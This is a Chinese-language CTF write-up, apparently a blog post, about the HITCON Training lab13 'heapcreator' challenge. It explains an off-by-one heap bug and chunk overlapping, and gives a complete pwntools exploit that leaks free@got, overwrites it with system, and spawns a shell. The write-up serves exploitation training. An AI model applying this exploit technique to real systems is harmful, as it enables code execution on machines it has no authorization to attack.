美文网首页
[√]Chunk Extend and Overlapping

[√]Chunk Extend and Overlapping

作者: HAPPYers | 来源:发表于2019-11-21 20:43 被阅读0次

    HITCON Trainging lab13

    题目文件

    题目信息

    ➜  hitcontraning_lab13 git:(master) file heapcreator
    heapcreator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5e69111eca74cba2fb372dfcd3a59f93ca58f858, not stripped
    ➜  hitcontraning_lab13 git:(master) checksec heapcreator
    [*] '/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/chunk_extend_shrink/hitcontraning_lab13/heapcreator'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    基本功能

    程序大概是一个自定义的堆分配器,每个堆主要有两个成员:大小与内容指针。主要功能如下

    1. 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
    2. 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
    3. 展示堆,输出指定索引堆的大小以及内容。
    4. 删除堆,删除指定堆,并且将对应指针设置为了 NULL。

    利用思路

    基本利用思路如下

    利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
    申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。

    每一次create都会先申请0x10 (heap->size)和(size+0x10)大小 (heap->content)的块。
    当申请第二个heap的时候,第一个heap的content后面紧跟的就是第二个heap的size结构。
    我们分别create(0x18)以及create(0x10)看下:

    gef➤  heap chunks
    Chunk(addr=0x7f7010, size=0x20, flags=PREV_INUSE)
        [0x00000000007f7010     18 00 00 00 00 00 00 00 30 70 7f 00 00 00 00 00    ........0p......]
    Chunk(addr=0x7f7030, size=0x20, flags=PREV_INUSE)
        [0x00000000007f7030     68 61 70 70 79 0a 00 00 00 00 00 00 00 00 00 00    happy...........]
    Chunk(addr=0x7f7050, size=0x20, flags=PREV_INUSE)
        [0x00000000007f7050     10 00 00 00 00 00 00 00 70 70 7f 00 00 00 00 00    ........pp......]
    Chunk(addr=0x7f7070, size=0x20, flags=PREV_INUSE)
        [0x00000000007f7070     68 61 70 70 79 0a 00 00 00 00 00 00 00 00 00 00    happy...........]
    Chunk(addr=0x7f7090, size=0x20f80, flags=PREV_INUSE)  ←  top chunk
    

    0x7f7030是第一个heap的content,而0x7f7050是第二个heap的size,0x7f7070是第二个heap的content。由于存在off by one,我们修改第一个heap,使其溢出到0x7f7050,改写第二个heap的size chunk的大小。
    假设溢出将其改为0x41,然后我们free第二个heap的时候,就能获得0x7f7070之后的overlap部分,再申请0x30的heap的时候,就会把那个0x41的块作为content,而这个content包含了新的第二个heap的struct结构,可以控制其块指针,进而通过show,edit来泄露free地址,改写free_got为system。

    exp

    from pwn import *
    
    r = process('./heapcreator')
    heap = ELF('./heapcreator')
    libc = ELF('./libc.so.6')
    
    
    def create(size, content):
        r.recvuntil(":")
        r.sendline("1")
        r.recvuntil(":")
        r.sendline(str(size))
        r.recvuntil(":")
        r.sendline(content)
    
    
    def edit(idx, content):
        r.recvuntil(":")
        r.sendline("2")
        r.recvuntil(":")
        r.sendline(str(idx))
        r.recvuntil(":")
        r.sendline(content)
    
    
    def show(idx):
        r.recvuntil(":")
        r.sendline("3")
        r.recvuntil(":")
        r.sendline(str(idx))
    
    
    def delete(idx):
        r.recvuntil(":")
        r.sendline("4")
        r.recvuntil(":")
        r.sendline(str(idx))
    
    
    free_got = 0x602018
    create(0x18, "happy")  # 0
    create(0x10, "happy")  # 1
    # overwrite heap 1's struct's size to 0x41
    edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
    # trigger heap 1's struct to fastbin 0x40
    # heap 1's content to fastbin 0x20
    delete(1)
    # new heap 1's struct will point to old heap 1's content, size 0x20
    # new heap 1's content will point to old heap 1's struct, size 0x30
    # that is to say we can overwrite new heap 1's struct
    # here we overwrite its heap content pointer to free@got
    create(0x30,"HAPPYERS"*4+p64(0x30)+p64(heap.got['free']))
    show(1)
    
    r.recvuntil("Content : ")
    data = r.recvuntil("Done !")
    free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
    log.success('Free address: '+hex(free_addr))
    libc_base = free_addr - libc.symbols['free']
    log.success('libc base addr: ' + hex(libc_base))
    system_addr = libc_base + libc.symbols['system']
    edit(1,p64(system_addr))
    delete(0)
    r.interactive()
    

    相关文章

      网友评论

          本文标题:[√]Chunk Extend and Overlapping

          本文链接:https://www.haomeiwen.com/subject/hghxwctx.html